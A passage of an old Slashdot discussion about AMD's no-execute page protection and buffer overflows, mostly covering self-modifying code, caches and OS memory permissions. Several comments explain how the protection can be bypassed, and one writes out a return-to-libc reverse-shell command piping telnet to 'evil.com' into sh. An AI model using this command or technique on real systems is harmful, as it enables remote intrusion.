      You really can't do that even now. IIRC, writes to code segments aren't allowed for the following reason -- when paging to disk, the OS doesn't write out code segments to disk, it just clears the segment, uses it, and when it needs to reload the code segment itand re-reads them from the executable on the HD, it saves alot of time but has the side-effect that anything that was modified in the code segment is clobbered.

      I think some architectures even disallow writing to code segments altogether -- the l1 or l2 caches wont maintain coherency (this is again an optimization as writing to a code segment is rare).

      --

      Religion is a gateway psychosis. -- Dave Foley

    17. Re:Code rewrites going to be needed? by beerman2k · · Score: 4, Informative

      All modern architecture's have seperate caches for code and data. Simply flushing the i-cache will allow you to update your code on the fly.

    18. Re:Code rewrites going to be needed? by addaon · · Score: 2, Informative

      Take PPC for example, and, um, do an isync?

      --

      I've had this sig for three days.
    19. Re:Code rewrites going to be needed? by larkost · · Score: 4, Interesting

      On Apple platforms Microsoft has a very long history of this. There was another major case in the Apple II era where Apple developer documentation specifically reserved an address space for future expansion. Microsoft ignored this, and the IIe broke a good chunk of their software because of this.

      Microsoft has historically had very bad coding practices. From all accounts I have heard this has markedly improved, but it was pretty bad.

    20. Re:Code rewrites going to be needed? by ball-lightning · · Score: 1

      If I read the article correctly, couldn't the program itself just mark that section of memmory "execute"? (Or do programs not have that capability?). In a buffer overrun situation, the attacker can't actually execute any code (on one of these processors) so they could never change the section of memmory they are over-writing to "executable" but surely a program could (?)

    21. Re:Code rewrites going to be needed? by kscguru · · Score: 1
      IIRC, UNIX inherently uses this sort of scheme - except x86 doesn't have hardware support for it, so the x86 implementations (e.g. Linux) just ignore the "execute" bit manipulations that other processors have.

      What I gather from the article and the comments here is that AMD is releasing a chip that supports the execute bit in hardware. Something other architectures (e.g. Sparc and others) have been doing for a longer time, but until now wasn't necessary in anything except a server-class machine.

      --

      A witty [sig] proves nothing. --Voltaire

    22. Re:Code rewrites going to be needed? by edrugtrader · · Score: 2, Funny
      I would entertain listening to cases where self-mod'ing code has its place.
      isn't that what my second /. account is for?
      --
      MARIJUANA, SHROOMS, X: ONLINE?! - E
    23. Re:Code rewrites going to be needed? by gnu-generation-one · · Score: 1

      "My guess is that many applications use self-modifying code as part of their anti-piracy/anti-reverse-engineering protection."

      Yeah, like we're not going to be able to make that do exciting things when it misfunctions... And you thought finding buffer overflows was hard when the code stayed where you put it!

    24. Re:Code rewrites going to be needed? by xmath · · Score: 1
      dcbst # force modifications into RAM
      sync # memory synchronization barrier
      icbi # invalidate instruction cache
      isync # context synchronization

      is actually the sequence you need on a uniprocessor system. (multiprocessor might need extra flavor)

      Usually the OS provides some primitive to do this the right way for you (MakeDataExecutable on MacOS 9 iirc)

    25. Re:Code rewrites going to be needed? by Brane · · Score: 1
      The Amiga also used the 680x0 CPUs, and moreover, Microsoft made a version of BASIC (AmigaBasic) for the early versions of the Amiga's OS. The first CPU in the series, the 68000, had 32-bit address registers but only used the 24 least significant bits. However, it was always clear that later CPUs would use all 32 bits, and the unused bits were marked as reserved in all specs.

      In their infinite wisdom, Microsoft decided to use the 8 most significant bits of an address register for something else... The result: AmigaBasic never worked on Amigas with 68020 and later CPUs that had memory above the magical 0x00FFFFFF limit, unless you used a tool to remap (or disable) the memory above this address.

    26. Re:Code rewrites going to be needed? by cpeterso · · Score: 1


      Microsoft's ATL libraries generate stack-based code at runtime. So any Windows app that uses ATL might require a recompile!

    27. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 2, Insightful

      You have to understand that in the old days, these sorts of things weren't considered "bad coding practices", they were considered "Super Elite Hacker Tricks". Early PC programming was always to the metal, using every trick in the book.

      The hardware was ridiclously constrained -- the functionality of something like Word 4.0 (which ran on a 1MB Mac Plus) compares to modern word processors (which need 50MB of RAM and a Pentium II). Someone had to hack like crazy to get that stuff to work, and they were probably fully aware that it could blowup later.

    28. Re:Code rewrites going to be needed? by dgatwood · · Score: 1
      Umm.... Page tables are maintained by the OS and are generally not in a process's address space. That means that in order to even start doing what you show above, you first have to convince the OS to change permissions on the page, as TEXT pages are generally read-only, and DATA pages should be no-execute.

      What you show above would be preceeded by a call into a supervisor-mode (kernel) trap that would have to do the page table manipulation and then do a tlbie (a supervisor-only instruction).

      --

      Check out my sci-fi/humor trilogy at PatriotsBooks.

    29. Re:Code rewrites going to be needed? by dgatwood · · Score: 1
      Page tables are not generally in a process's address space, and a TLB flush generally is supervisor-mode-only, so if it is implemented like it is in other architectures, then no, a program couldn't just mark it as executable.

      Now granted, a well-behaving application could call into the OS and ask the kernel to mark the section executable. However, if some piece of injected code is already to the point of being able to make such a call, there is no advantage to making the stack executable, as the only reason for doing so would be to allow the injected code to be able to begin executing in the first place.

      --

      Check out my sci-fi/humor trilogy at PatriotsBooks.

    30. Re:Code rewrites going to be needed? by kawika · · Score: 1
      Microsoft's ATL libraries generate stack-based code at runtime. So any Windows app that uses ATL might require a recompile!
      Yep. Fortunately, Microsoft is aware of the problem and is working on a fix. :)
    31. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 0

      PaX (http://pax.grsecurity.net) has been doing this and more for 3.5 years...

    32. Re:Code rewrites going to be needed? by Passacaglia · · Score: 1

      I recall disassembling ms basic, the original one, in 1979. I wish I could remember the exact instruction sequence, but there was a jump into the _middle_ of an instruction - one branch was to a two-byte instruction, like ldy #value, the other was to a one-byte instruction, like rol, and #value was equal to the opcode for rol.

      Of course, in those days, memory was very expensive, and this maneuver saved you 2.3 cents. This piece of software was a miracle of compression, a thing of beauty in its way.

    33. Re:Code rewrites going to be needed? by xmath · · Score: 1

      you missed the point, the grand-grand-grand-grandparent said "Take PPC for example, there are two separate caches, one for code and one for data. The code can not be changed during runtime." as an argument of why self-modifying code would be a problem on PPC already today - without W^X..

      grand-grand-grandparent then pointed out you can simply avoid that problem (in normal self-modifying code, not in buffer overflow exploits) with some instructions, I gave the actual correct code sequence - which does not require being supervisor

    34. Re:Code rewrites going to be needed? by ocie · · Score: 0

      the functionality of something like Word 4.0 (which ran on a 1MB Mac Plus) compares to modern word processors (which need 50MB of RAM and a Pentium II).

      I tend to think that it is more a problem of bloat from useless features -- clippy, sparkle text, maybe some useful features too like suport for non-latin charactersets.

      --
      JET Program: see Japan, meet intere
    35. Re:Code rewrites going to be needed? by Mr+Pippin · · Score: 1

      I don't think you have a lot to worry about here unless the afor mentioned applications decompress their code onto the stack, which would be a very inefficient use anyway. The point of this whole issue to enhance the MMU to enable pages on the stack to not be executable. Since the majority of code level security issues are stack overruns on the buffers areas in the stack, this effectively eliminates most of those holes.

      Keep in mind this does not eliminate the whole issue. You STILL have buggy code that will usually crash in this situation. So, in many cases, you have changed an intrusion issue to a DOS issue.

    36. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 0

      I too am wondering how this is going to effect all of the existing Windows applications. Basically any application using Microsoft's ATL (Active Template Library) will require work-arounds. ATL uses thunks extensively in its windowing classes which execute code on the heap.

      Microsoft has a whitepaper describing the new memory protection features that will be available in Windows XP SP2.

    37. Re:Code rewrites going to be needed? by ball-lightning · · Score: 1

      So wouldn't self-modifying code still be A-ok, as it could do that sort of thing? (Ask the OS to set it executable, that is)

    38. Re:Code rewrites going to be needed? by The+Wicked+Priest · · Score: 1

      I wrote some self-modifying Z80 code back in my Sinclair days. I had two purposes:

      1. To make it relocatable -- where relative jumps weren't enough, I used tables to rewrite the offsets of JP and CALL instructions. The programs I did this in were basically TSRs, before I ever heard that term. :-)

      2. To fit everything in memory. The TS2068 (U.S. version of the ZX Spectrum) had only 48K of RAM, and 6.75K of that was display memory.

      I'd never do it nowadays. But at the time, it was fun, blurring the data/code distinction. Really, I suppose that was the main reason I did it -- just the sheer hacking thrill of it.

      --
      Share and Enjoy: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    39. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 0

      Apparently your assembly instructor has never ever written REAL FUCKING INSANELY FAST code then. The following is a piece of a rotozoomer that runs about 100Hz at 1024x768 on a p133:

      mov al,[esi+0x12345678]
      mov bl,[esi+0x12345678]
      mov ah,[esi+0x12345678]
      mov bh,[esi+0x12345678]
      shl eax,16
      mov al,[esi+0x12345678]
      shl ebx,16
      mov bl,[esi+0x12345678]
      mov ah,[esi+0x12345678]
      mov ab,[esi+0x12345678]
      mov [edi+0x12345678], eax
      mov [edi+0x12345678], ebx
      mov al,[esi+0x12345678]
      mov bl,[esi+0x12345678]
      mov ah,[esi+0x12345678]
      mov bh,[esi+0x12345678]
      shl eax,16
      mov al,[esi+0x12345678]
      shl ebx,16
      mov bl,[esi+0x12345678]
      mov ah,[esi+0x12345678]
      mov bh,[esi+0x12345678]
      mov [edi+0x12345678], eax
      mov [edi+0x12345678], ebx ...

      That's not obviously all of it: you need to precalculate right values in place of magic numbers (the s/m-part), fix esi and edi after each 8x8 tile, pick a nice prime number for the texture pitch to avoid cache collisions etc.. (and yeah, it's a bit ugly)

    40. Re:Code rewrites going to be needed? by dgatwood · · Score: 1
      Assuming the OS has such a facility, then self-modifying code would still be possible. A-ok is another matter.... :-D

      --

      Check out my sci-fi/humor trilogy at PatriotsBooks.

    41. Re:Code rewrites going to be needed? by 10101001+10101001 · · Score: 1

      >An example of this is some code that draws a scaled translucent sprite. Throughout the code, the scale will remain constant, and if the translucency is uniform, that will remain constant too. The code that does the translucent blitting will use the registers only for values that change during the sprite-drawing.

      I did something like that, actually, though it was stretching a sprite.

      >On an 80386, using this technique will cause a significant speed-increase in the code, but on 80486's and above where there are on-board L1 caches on the CPUs, the code-modification may cause cache-misses that may slow down the system - espcecially if it is run on an even newer x86 CPU that has a seperate program and data cache in the L1 cache.

      Actually, I had a 433Mhz Celeron, and I believe it was faster to do the overwrite (I only changed the immediates on O(1)). Eventually, I switched away from doing this to use 32-bit registered to behave like 2 16-bit registered to avoid doing lots of pushes. Just had to do rol 16 at appropriate times. I'm sort of surprised there isn't a compiler optimization to do this, as the results were nearly as fast as self-modifying code. Here's the program, if at all interested: spcx.

      --
      Eurohacker European paranoia, gun rights, and h
    42. Re:Code rewrites going to be needed? by imnoteddy · · Score: 0, Troll
      You have to understand that in the old days, these sorts of things weren't considered "bad coding practices", they were considered "Super Elite Hacker Tricks".

      No, I was there in the old days and I don't have to understand. Apple told developers not to do this and MS didn't listen. There is a difference between "Super Elite Hacker Tricks" and "bad coding practices" - if the hardware vendor says "don't do it because it will fail to run on future hardware" (and I know Apple said this) it is "bad coding practices". Although I shouldn't respond to an Anonymous Coward.

      --
      No electrons were harmed creating this post, though some may have been subjected to electrical and/or magnetic fields.
    43. Re:Code rewrites going to be needed? by bruthasj · · Score: 1

      > I would entertain listening to cases where self-mod'ing code has its place.

      Genetic algorithms that automatically learn and profile the system and modify the code accordingly to improve it's self efficiency. You'll see this in 10 to 20 years as corporations need to outsource somewhere else after being to India, China and the Phillipines. Next stop: machines.

    44. Re:Code rewrites going to be needed? by tjrw · · Score: 1

      Mod parent up.

      This, I believe, is a succinct summary of the article. Heck the VAX had a "PROT_EXEC" equivalent protection bit on the hardware pages, but for some inexplicable reason, the 386 and descendents did not. Apparently someone has woken up to the fact that it actually might be a good idea. I disagree that it wasn't necessary; it simply wasn't implemented. It's not exactly the only strange (ignorant) idea in x86 (cf. the FPU architecture). Kudos to AMD if they had the idea first.

      Tim

    45. Re:Code rewrites going to be needed? by cant_get_a_good_nick · · Score: 1

      This was standard on all MS-BASICs. Commodore 64 basic had this. It was constrained by 8 bit microprocessor, with 16 bit address line, and all code, data, and memory mapped hardware (display, SID sound chip, joystick, user port...) had to share the 16 bit address space. One way that they saved a few bytes was to jump in the middle of instructions. I think it was something like:
      LDA #1
      cmp (addressing mode which took next two operands)
      LDA #0 ...

      If I hit the bottom LDA, I'd just load accumulator (MOS 6502, ONE GP 8 bit register, two lesser functionality registers, basically address registers) and be on my merry way. If I hit the top LDA 1, the next thing I'd do is do the cmp, which would pick the next two arguments, do the compare, set the flags, and go on, essentially bypassing them as code. It saved a whole byte over doing the more normal branch instructions, but in those days, a couple bytes here and there were critical.

      The C64 had lots of tricks to save RAM. High res graphics (all 4 color, 320x240 resolution of high res) were made usable only by memory mapping tricks. The system allowed mapping the high res graphics buffer as an overlay directly on top of the code space. Writes to the overlay space went to the video RAM. Reads by the video chip were by the video RAM, but reads by the OS always came from the underlying code space RAM. You use the same addresses for different things depending on what chip was reading from it.

    46. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 0

      Yeah, and Apple ignored Apple's recommendations as well. Remember the 32-bit unclean ROMs?

    47. Re:Code rewrites going to be needed? by julesh · · Score: 1

      Fortunately, I think most ATL applications use ATL as a DLL, so just upgrading the DLL when MS release a fixed version should work.

      Note: I just checked my copy of Visual Studio, and it seems the only ATL lib supplied links your application to the DLL, so perhaps _all_ ATL applications use the DLL?

    48. Re:Code rewrites going to be needed? by julesh · · Score: 1

      Early PC programming was always to the metal, using every trick in the book.

      What gets me is the way IBM designed the PC so that it used interrupts that were clearly labelled in the dev. documentation as 'reserved for future use by Intel', leading to future clashes between IRQs, BIOS interrupts and exceptions... it was clearly nuts.

      the functionality of something like Word 4.0 (which ran on a 1MB Mac Plus) compares to modern word processors (which need 50MB of RAM and a Pentium II).

      Yeah, right. I'll admit I haven't used Word 4 for Mac, but I did use the DOS version, which I assume had similar features (except I'd expect the Mac version to have WYSIWYG graphics).

      The following are the features of modern word processors that use the most processor time and memory:

      - Spellcheck as you type
      - Autoformat as you type
      - Automatic help (e.g. clippy pop-ups)
      - Grammar check
      - Macro programming languages
      - Automatic hyphenation

      I'm not certain about the last couple, but I think Word 4 had none of these features.

      Oh, and Word 97 copes perfectly adequately in 16Mb of RAM if you don't try to use any of the above features.

    49. Re:Code rewrites going to be needed? by Anonymous Coward · · Score: 0

      Really? On windows 3.11? Since windows 95 needs at least 32MB to be useful.

    50. Re:Code rewrites going to be needed? by Hway · · Score: 1

      So, basically what's happened:
      "No one will never, ever use more than 16 megabytes of memory!" --Microsoft

  5. what a drag by Wellmont · · Score: 4, Insightful

    Can anyone else say that it is ABOUT time that buffer overflow was built into a processor or motherboard? The only thing i worry about is the performance drag that making up for everyone's programming mistakes can do to a processor.

    1. Re:what a drag by m0rph3us0 · · Score: 4, Insightful

      All it is is on extra bit in the pagetable that check whether the memory region is W^X (write or execute). This kind of thing usually requires a bit of operating system magic to make it work. i386 already has W^X protection, it just isn't enabled by most OS's.

    2. Re:what a drag by Anonymous Coward · · Score: 1, Interesting

      LOL, this was modded as insightful???

      "buffer overflow was built into a processor" That's a beaute.

      This type of thing will not affect the speed of the processor in the least. It is just adding support for a combination of protection bits (RW but no X) that should have been available since the 386, but were not because it has been a fundamentally lame design. In fact you could always express these protection bits in the page tables from the getgo, but the processor was too lame to actually support them. Of course you couldn't just change this "feature" because anyone would that did would break true x86 backward compatibility.

    3. Re:what a drag by chamilto0516 · · Score: 1

      Doing some C/C++ programming, I put this in the same class with the concept of "garbage collection." After I read about it, I wondered why it hasn't been there from the beginning.

      --
      Magic Eight Ball: Outlook not so good., Hmmm, how about Excel and Word?
    4. Re:what a drag by phasm42 · · Score: 2, Insightful

      That's what I was wondering about... if a program is properly separated into code/data/stack segments, and the Execute bit is properly set on each segment's descriptor, then why is a new CPU feature needed? I never learned protected mode asm in depth (I learned asm in real mode), but it seems like all the necessary bits are there for the OS to protect against this. If someone knows why this isn't or can't be done, would you please post a response?

      --
      "No one likes working in a hamster wheel, and your shop smells of cedar shavings from here." - TaleSpinner
    5. Re:what a drag by paranode · · Score: 5, Informative

      Exactly. OpenBSD 3.3 already came with this feature in May 2003.

      "W^X (pronounced: "W xor X") on architectures capable of pure execute-bit support in the MMU (sparc, sparc64, alpha, hppa). This is a fine-grained memory permissions layout, ensuring that memory which can be written to by application programs can not be executable at the same time and vice versa. This raises the bar on potential buffer overflows and other attacks: as a result, an attacker is unable to write code anywhere in memory where it can be executed. (NOTE: i386 and powerpc do not support W^X in 3.3; however, 3.3-current already supports it on i386, and both these processors are expected to support this change in 3.4). "

    6. Re:what a drag by Anonymous Coward · · Score: 2, Interesting

      The i386 (and I think even the 286) have provisions for 4 levels of privledge for code. Programs at level 0 can do pretty much anything, those at level 3 can do very little (e.g. not access other processes memory and only call higher privledge levels via special 'call gates').

      Levels 1 and 2 are intended to be where the majority of the OS kernel sits, this would mean that something like a device driver can't over write the scheduler. But no OS to my knowledge uses this feature of x86. If this were done there would be less chance of kernel code causing a system wide crash or any buffer overflow which manages to hook into the kernel actually being able to cause as much damage.

      The entire x86 range also differntiates code segments, data segements and stack segments(the cs register and the d/e/f/gs registers).

    7. Re:what a drag by Pakaran2 · · Score: 1

      I wouldn't be surprised if Linux had this in a year or two, actually - or at least a combination of build flags to force the same sort of protection.

    8. Re:what a drag by Anonymous Coward · · Score: 1, Informative

      It was, at least the interface was. And the RISC processors (SPARC, Alpha, etc.) all support non-executable pages. But this isn't really a complete solution. This won't stop buffer overflows, only the ability to execute the code in the overflowed buffer. That means you can still do DoS attacks using buffer overflow and if you can find a piece of code to do the equivalent of your exploit in the binary or linked libraries you can just use it instead.

    9. Re:what a drag by Anonymous Coward · · Score: 0

      No. i386 does not have a per-page execute bit. Many other architechtures do, but i386 is not one of them. I'm sure some googling on the subject will be quite enlightening. As one example though.

    10. Re:what a drag by pantherace · · Score: 1

      Linux uses it to a certain extent, but only 2-3 layers total. (1 or 2 for kernel, 1 for user space) I suspect that most others are similar.

    11. Re:what a drag by pantherace · · Score: 1

      Actually it has this right now, if you apply the grsecurity patches. Unfortunately certain programs (XFree86) will not run if this is enabled, according to the kernel help for it.

    12. Re:what a drag by hweimer · · Score: 2, Insightful

      All it is is on extra bit in the pagetable that check whether the memory region is W^X (write or execute). This kind of thing usually requires a bit of operating system magic to make it work.

      I don't think it's that easy. For example, the RET instruction on x86s that is usually called at the and of a function reads the address of the next instruction directly from the stack. If this address has been overwritten by a buffer overflow, an attacker can jump to an arbitrary address in the memory where the really nasty code is located.

      Even if the memory regions that the attacker can modify are marked as non-executable, it is still possible to call a function inside the C library. A system() call will lead to arbritrary code execution as well.

      --
      OS Reviews: Free and Open Source Software
    13. Re:what a drag by Tony+Hoyle · · Score: 1

      Windows uses ring 3 and 0, ignoring 1 and 2.

      IIRC rings 1 and 2 are pretty useless anyway.

    14. Re:what a drag by Anonymous Coward · · Score: 0

      I went to a talk by Theo on this topic a while ago.

      He said the X86 implementation was an ugly hack and that he had told AMD to put in this new feature but doubted they would have the sense to obey.

    15. Re:what a drag by BitchKapoor · · Score: 1

      I'm guessing the way it would have to work on traditional x86 is to use separate code and data segments, and never map a page as both writeable (in the data segment) and readable (thus executable) in the code segment. Since traditionally the current OSs do not distinguish between virtual addresses in the code and data spaces (i.e. ds:addr and cs:addr map the same page), the only way to do this would be to have two totally separate regions of virtual address space for code and data, with physical pages that should be both readable and executable mapped to both. This would require re-architecting the address space layout used by current kernels.

    16. Re:what a drag by Anonymous Coward · · Score: 1, Funny

      What 'ring' does goatse.cx run in?

    17. Re:what a drag by Pakaran2 · · Score: 1

      Wouldn't surprise me - I believe X needs to directly access hardware resources to a degree found in very few other programs.

      I do wonder whether those patches could be applied to only be enforced against a given set of other programs (apache but not X, etc).

    18. Re:what a drag by Glug · · Score: 1

      This is a functional limitation. I do not want my CPUs crippled in this fashion.

      Not allowing a sequence of instructions to modify the stack frame seems more like a pathetic bandaid for computer security than a solution. Nevermind software that deliberately patches stack frames, such as code containing its own overlay management, or the issues with JIT compilers that others have mentioned.

      It seems that what's pushing this is all the buffer overrun problems in Windows. How about if Microsoft just fixes its buffer overflow bugs in its software as it finds them, like all the rest of us do? If a trend to build CPUs that make allowances for buggy software takes hold, the general level of software quality can be expected to decline, not improve. I don't see how this is a good thing in the long run.

    19. Re:what a drag by maxwell+demon · · Score: 1

      In principle there's no need for the argument stack to be the same as the return address stack (except that it's probably less efficient to maintain separate stacks on current processors).

      However, buffer overflows could still change function pointers even then.

      --
      The Tao of math: The numbers you can count are not the real numbers.
    20. Re:what a drag by Wellmont · · Score: 1

      well i didn't mean to say that buffer overflows should be built into processors; that was a mistake in my typing, that occured because i was up early in the morning (for myself). What you fail to understand that if it is up to AMD to lead the pack and offer it now....and it is so easy to impliment, then it's about time. Personally i think if i can't make a broad statement/comment like that without being flamed or laughed at by cowards like you then we'd be a communist nation....especially when my sentiments were true. As far as the coveted x86 backwards compatability it is slowly fading. I don't really hold any love for my old 386 other than it's ability to boot.....i don't need to run anything new on it, but it runs fine on it's old hardware and software...WFW 3.11 is preatty god damn stable.

    21. Re:what a drag by pantherace · · Score: 1

      They might be able to be, but it might be better to just extend DRI a bit more, and have X able to talk to a specialized interface (as it does for DRI)

  6. They are NOT protecting against overflows by Anonymous Coward · · Score: 5, Informative

    They are protecting the pages marked as code from the data pages. Code could still overflow, but not use that to execute arbitrary code in the pages marked as data(or non-executable).

    1. Re:They are NOT protecting against overflows by Anonymous Coward · · Score: 0

      But wouldn't that stop self-modifying code from working? There could be many other hacks out there that could stop working on this new processor.

    2. Re:They are NOT protecting against overflows by Pakaran2 · · Score: 1

      So in other words code that overflows can, at worst, crash itself - and not root a system?

    3. Re:They are NOT protecting against overflows by Anonymous Coward · · Score: 0

      What's even more important is that a stack buffer overflow can still be used to execute any existing code in the code section. Just becaues you can't branch to your own code doesn't mean you can't still take control using a buffer overflow.

    4. Re:They are NOT protecting against overflows by ortcutt · · Score: 1

      Are there real exploits do this, i.e. execute code from the code sections? That sounds like it would be really hard if not impossible to do. Someone would need to go through all of the code sections and find exactly the right code in the existing binary, rather than putting in their own code and jumping there.

    5. Re:They are NOT protecting against overflows by cybergrue · · Score: 3, Informative
      Outside of some academic/reserch application, you don't want your code to be self-modifying, as it is much much more likely to be a bug then what was intended. Self modifying code is one of the reasons why Turing's Stoping Problem is unsolvable. It is very easy for self-modifying code to get into an infinite loop.

      That said, if you want to create self-modiying code for some reason (hey, its actually an intresting field), then you should probably do in an interpreted language for several reasons. First being that you don't screw-up the OS, and second, the intrepreter has a fair chance of detecting when the program has entered an infinite loop. (Hmm, its been in that loop for a few million cycles and its state does not appear to be changing). This can be done with stacks or counters. I've seen it in some Smalltalk interpreters.
      A third advantage is that the Virtual machine you run this self-modifying code on doesn't even need to exist in reality, so you can do a lot of wierd and wonderful stuff with it, and it will still run.

      Protected momory has exited for a long time, and x86 architecture is just about the last major processor architecture that does not have support for user and OS seperated protected memory. I am taking an OS course right now, and I was very surprised at this as it solves so many malicious code based problems like buffer overruns.

    6. Re:They are NOT protecting against overflows by Anonymous Coward · · Score: 0

      No- code that overflows could, at worst, mess up other data stored in memory, but it couldn't change the code that is stored in memory.

    7. Re:They are NOT protecting against overflows by kawika · · Score: 1

      I think you may have the right idea but I can't tell from the description. Here's how I'd put it:

      NX protection applied to the stack prevents the situation where an exploit can overflow a stack-based buffer and clobber the return address to have it "return" to some exploit code, usually placed in the same stack-based buffer that was just overflowed. Since code now cannot be executed on the stack, these exploits won't work because the CPU will throw an exception.

      Even with NX, it would still be possible to overflow a buffer to clobber adjacent data values, and that might have the effect of making the program take a different code path that was advantageous to the attacker. Or it might, for example, allow an attacker to inject otherwise-prohibited data into adjacent variables, such as HTML where only text was expected.

    8. Re:They are NOT protecting against overflows by Anonymous Coward · · Score: 0

      Slammer used this, in fact. I'm a little rusty on the details since it's been a while since I read a good, detailed paper on Slammer's operation, but essentially they tricked the stack into going straight to a JMP ESP instruction that was already part of Microsoft's compiled SQL Server network services DLL, and then executing the same stack frame with the rewritten exploit code. So W^X might not have even protected against Slammer.

      "Someone would need to go through all of the code sections and find exactly the right code in the existing binary..."

      Well, after all, they're already dissecting the target program with a protocol fuzzer and a debugger to find the return address when it crashes-- so the necessary disassembly tools are already in use. What is a little more work to someone intently involved in cracking a vulnerable system?

    9. Re:They are NOT protecting against overflows by eatdave13 · · Score: 1

      No, at worst it could corrupt data. You still have to overwrite executable code to crash a program in the way you're talking about.

      --
      "Verbing weirds language." -- Calvin
    10. Re:They are NOT protecting against overflows by __past__ · · Score: 1
      Exactly. This is about preventing buffer overflows as much as file permissions are about preventing trojan horses.

      There already is a fine way to reliably prevent buffer overflows: Check each access. Prove that you don't overwrite anything. Too hard or too annoying? How about using a language that does this for you, like about every freaking programming language except C and C++? You'll get rid about another one of the most frequently exploited "features" as well, namely format string errors.

      Given however that we are stuck with piles of buggy C programs, which will have buffer overflows and can't make use of dynamic programming techniques that might make W^X a hassle anyway, this oh so amazing new feature might in the end be worth it. But compare it to the state of the art of the early 80ies, where some processors had full builtin support for sophisticated type checks, this once again shows how ridiculously lousy "modern" systems, and the x86-derived architectures in particular, are. x86 is really the perfect match for Microsoft, no wonder that their success has been so closely coupled - a lousy, sub-par operating system for a lousy, sub-par processor architecture.

    11. Re:They are NOT protecting against overflows by Pakaran2 · · Score: 1

      Corrupting data could crash a program. For example setting an internal pointer in a list to point out of the program's address space. I can see it happening. However, the page could never be executed - which would obviously prevent you from uploading code into the overflow and having it run.

    12. Re:They are NOT protecting against overflows by rabidcow · · Score: 1

      So is this just W^X for the stack then? That's a little disappointing...

      Self-modifying code of course becomes essentially impossible with W^X, but with modern processors, pipelining, cached decoded instructions, etc. self-modifying code isn't a good idea anyway. It will kill performance, which makes it mostly useless. (JIT compilers might be hurt to some degree)

      But it doesn't really stop someone from exploiting a buffer overflow. You just need to synthesize a call on the stack to the system call that enables execute on that page, and make it return into the buffer:

      Old exploit:
      call: [buffer][ret addr]
      ret: [xxxxxx][addr in buffer]

      New exploit:
      call: [buffer][ret addr]
      ret: [xxxxxx][addr of sys call][params][addr in buffer]

      In other words, it makes it more difficult, but not impossible.

      Now if you put the syscall in an ASCII-armor region, or move it around, that might make it impossible to exploit directly. (Just making the syscall refuse to return into the memory it's changing permissions on doesn't help.)

    13. Re:They are NOT protecting against overflows by Anonymous Coward · · Score: 0

      Actually C++ is very resistant to buffer overflows if you are programming in proper C++ and not some hacked together C/C++ shit. Also C is secure if you use BSD functions like strlcpy and not that piece of shit Linux libc. Other tools like memory checkers help to stop problems you didn't notice, but most open source programmers are idiots and wannabes who don't know the difference between their assholes and their mouths.

    14. Re:They are NOT protecting against overflows by karlm · · Score: 1
      I agree with you that x86 should have seperated write and execute permissions on pages long long ago. This is a big step forward, but I think you're confused about which protection mechanisms have been supported since the 386 and which mechanisms AMD is adding.
      Protected momory has exited for a long time, and x86 architecture is just about the last major processor architecture that does not have support for user and OS seperated protected memory.

      Umm... seperate write/execute memory page permissions are not a userspace/kernel seperation mechanism. User/kernel space seperation has existed in the x86 family since the 386 introduced rings. Microsoft choose not to cleanly seperate kernel and user space. However, the 386 is fully capable of hardware-enforced protection of the OS (typically ring 0 code) from all userspace programs (typically ring 3 code), no matter how mallicious.

      I am taking an OS course right now, and I was very surprised at this as it solves so many malicious code based problems like buffer overruns.

      It actually doesn't completely solve any problems. Rings can be used to prevent buffer overflows in user code from doing anything the haijacked program was restricted from doing in the first place. (See mandatory access controls and capabilities.) Non-executable stacks and heaps don't do anything in that sense. On the other hand, non-executable stacks and heaps do further restrict the conditions under which a buffer overflow is exploitable. However, we've known for a long time how to smash the stack and execute libc code instead of executing code on the stack. I believe almost two decades ago "Mudge" wrote a text file on constructing buffer overflows in SunOS machines with the non-executable stack feature enabled.

      Don't get me wrong. This is a huge help for security (and helps in debugging by making bad code die closer to the problem), but it doesn't mean we're free from exploitable buffer overflows. Maybe I totally misunderstood your post, but it sure sounded like you were saying that up until now the x86 family was unable to enforce kernel/userspace protection.

      --
      Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
    15. Re:They are NOT protecting against overflows by karlm · · Score: 1
      Self modifying code is one of the reasons why Turing's Stoping Problem is unsolvable. It is very easy for self-modifying code to get into an infinite loop.

      Do you mean the halting problem? It has nothing to do with self-modifying code. Look up the standard proof that the halting problem is unsolvable in the general case. It's a very simple and elegant proof that still holds if you don't allow self-modifying code.

      Note that the halting problem is solvable for any machine with a finite number of states (as opposed to a universal Turing machine).

      --
      Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
    16. Re:They are NOT protecting against overflows by karlm · · Score: 1
      Not true.

      You can still upload data and have it interpreted as arguments to a library call (or any function call, for that matter).

      You basically smash the stack with the strings "sh" , "-c", and "telnet evil.com 666 | sh | telnet evil.com 667" and some pointers to those strings and make sure the return address on the stack gets altered to the entry point for exec() and you've got yourself a reverse telnet session in the context of the program you just exploited. (And a likely very bad daemon crash as soon as you end the reverse telnet session and the exec() call returns.) This has been well known for a long long time. Non-executable stacks don't always prevent exploitation of buffer overflows.

      --
      Copyright Violation:"theft, piracy"::Anti-Trust Violation:"thermonuclear price terrorism"<-Overly dramatic language.
    17. Re:They are NOT protecting against overflows by Pakaran2 · · Score: 1

      Very interesting, heh.

      Of course, you still need to upload your exploit/rootkit code explicitely. Probably via something like piping an ASCII-armored file to unpack and redirecting to a file, so it would take more inguinity than your average 13-year-old kiddie hanging on efnet has, but it's interesting to know it's possible.

  7. screw average joe by jrexilius · · Score: 2, Insightful

    My company has 85,000 desktops and almost as many servers and we are just one large bank. I can see this being a rather great corporate standard.

  8. Well The Most Obvious Spin by Naked+Chef · · Score: 1, Interesting

    Would be "Hey we'll protect against the most common Windows exploits!"...

    1. Re:Well The Most Obvious Spin by Anonymous Coward · · Score: 0

      they make the users smarter???

  9. Linux support by nate1138 · · Score: 5, Insightful

    AMD's Athlon-64 (for PCs) and Opteron (for servers) will protect against buffer overflows when used with a new version of Windows XP.

    This does require some interaction from the operating system in order to work. Hopefully AMD will release enough information to allow this feature to be implemented in Linux.

    --
    Where's my lobbyist? Right here.
    1. Re:Linux support by TheRealFoxFire · · Score: 5, Informative

      It will likely be in their architecture manual. The summary of the protection is that it allows the OS to mark pages of virtual memory with a No Execute (NX) bit. Attempting to execute any instructions from such a page would cause a trap to the OS.

